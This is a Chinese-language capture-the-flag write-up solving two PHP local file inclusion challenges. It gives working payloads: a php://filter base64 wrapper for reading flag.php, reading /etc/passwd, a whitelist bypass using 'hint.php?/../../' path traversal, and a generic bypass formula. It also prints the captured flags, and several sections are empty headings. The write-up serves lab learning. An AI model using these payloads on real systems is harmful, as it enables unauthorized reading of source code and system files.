文件包含（LFI）两题 Writeup

第一部分 · 知识点

1.1 include 的本质：解析执行，不是读文件

这是整个 LFI 方向的地基。

include / require 把目标文件当 PHP 代码解析执行，不是把内容读出来给你看。

所以「包含 flag.php 后一片空白 / 只有一句提示」不是失败，是 include 的正常语义。

由此推出 LFI 的第一分水岭：我要的是「文件里的字符」，还是「让文件里的代码跑起来」？

本题两题都属于「要字符」，所以核心都是让内容在交给 PHP 解释器之前，先变成它不认识的东西。

1.2 LFI 的三条能力方向

1.3 PHP 流包装器表

include 的参数不一定是路径，PHP 会按协议前缀匹配包装器。

php://filter 的语法结构：

php://filter/<过滤器链>/resource=<目标文件>
①协议              ②可替换可叠加        ③固定写法

真正要记的只有两个词：php://filter 和 resource=，中间那截按规律现场拼。

1.4 过滤器命名规律（不用背）

1.5 为什么 base64 能绕过「被解析」

include 会把文件当代码解析。base64 编码后，内容变成 PD9waHAg... 这种纯字母数字：

• 里面不再有 <?php 标记，解释器认不出来，只能原样吐出
• 纯 ASCII，二进制内容也不会把响应搞乱
• 可逆，解码即得原文

同理，convert.iconv、quoted-printable 这些过滤器目的一样：把内容变得不像代码。

第二部分 · 题一：php://filter 读源码

2.1 侦察

首页只给了一个链接：

<a href="?file=flag.php">tips</a>

参数名 file，值直接是 flag.php —— 参数形态 + PHP 后端，锁定 include($_GET['file'])。

本题未暴露源码，以下结论由行为推断：

两个现象放在一起，结论非常干净：

/etc/passwd → 能看（纯文本，没有 <?php）
flag.php    → 只有一句提示（它是 PHP，被解析执行了）

同样的 include，唯一差别就是文件里有没有 <?php。

2.2 原理

关键点：php://filter 让 include 不再是「执行文件」而是「输出数据流」，这是同一个函数的两种用法。

2.3 Payload

?file=php://filter/convert.base64-encode/resource=flag.php

响应（混在页面自带 HTML 里）：

<meta charset="utf8">
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL0NURjJ7ZmU5NjY0NjYtMDY3Yi00NDFiLWFiOWUtOTY3Zjc4YzI3MjI1fQo=

Base64 解码后拿到 flag.php 的真实源码：

<?php
echo "Can you find out the flag?";
//CTF2{fe966466-067b-441b-ab9e-967f78c27225}

2.4 踩坑记录

第三部分 · 题二：白名单绕过 + 路径穿越

3.1 侦察

首页只有一个 HTML 注释：

<!--source.php-->

访问 ?file=source.php 拿到判卷规则：

$whitelist = ["source"=>"source.php", "hint"=>"hint.php"];

if (in_array($page, $whitelist)) return true;

$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
if (in_array($_page, $whitelist)) return true;

$_page = urldecode($page);
$_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));
if (in_array($_page, $whitelist)) return true;

echo "you can't see it";
return false;

调用处：

if (!empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])) {
    include $_REQUEST['file'];   // ← 用的是原值
    exit;
}

?file=hint.php 给出目标：

flag not here, and flag in ffffllllaaaagggg

3.2 三段检查翻译成人话

3.3 漏洞本质：检查与使用不一致

emmm::checkFile($_REQUEST['file']);  // 检查的是「截断后的值」
include $_REQUEST['file'];           // 执行的是「原始完整字符串」

检查的对象 ≠ 执行的对象，白名单在逻辑上被架空。

? 成了分界线：

一个字符串，两副面孔。

3.4 路径穿越原理

? 后面必须紧跟 /，让 hint.php? 成为一个目录段：

路径是纯字符串计算的，.. 的回退不检查目录是否真实存在。

/var/www/html/hint.php?     ← 假设 "hint.php?" 是个目录（其实不存在）
                    ↓ ..
/var/www/html
                    ↓ ..
/var/www
                    ↓ ..
/var
                    ↓ ..
/
                    ↓ 接上目标名
/ffffllllaaaagggg

a/.. 在计算上等于「空」，所以 hint.php? 被干净抵消 —— 它只负责骗检查，不参与真实文件访问。

层数：脚本在 /var/www/html/，回到 / 需 4 层（html → www → var → /）。多写无害，到根后 .. 还是 /。

3.5 Payload

?file=hint.php?/../../../../ffffllllaaaagggg
        └─骗检查─┘└──── 路径穿越 ────┘└─目标─┘

响应末尾（317 字节）：

<!--source.php-->

CTF2{6d8e40f8-f3eb-4c12-b1a9-2296c4d86acb}

3.6 三态判读表（这题全靠它）

注意本题 display_errors=Off，include 失败不会打印 failed to open stream，只能靠这个三态表判断。

3.7 踩坑记录

第四部分 · 两题对比

一句话区分：

• 题一是**「函数用法」问题** —— include 会执行，我换个方式让它不执行。
• 题二是**「代码逻辑」问题** —— 检查函数看的是 A，执行时用的是 B。

第五部分 · 方法论

5.1 拿到 LFI 题的四问

5.2 命令/代码能执行但没输出时，按顺序想

5.3 工具层坑（真实渗透高频）

5.4 通用公式：白名单 + 路径穿越

<白名单文件名> ? / (../ × N) <目标文件相对根的路径>
      ↑骗检查        ↑变目录  ↑回退层数    ↑真正要读的

变化点只有三个：白名单名、层数 N、目标路径，剩下都固定。

第六部分 · 汇总表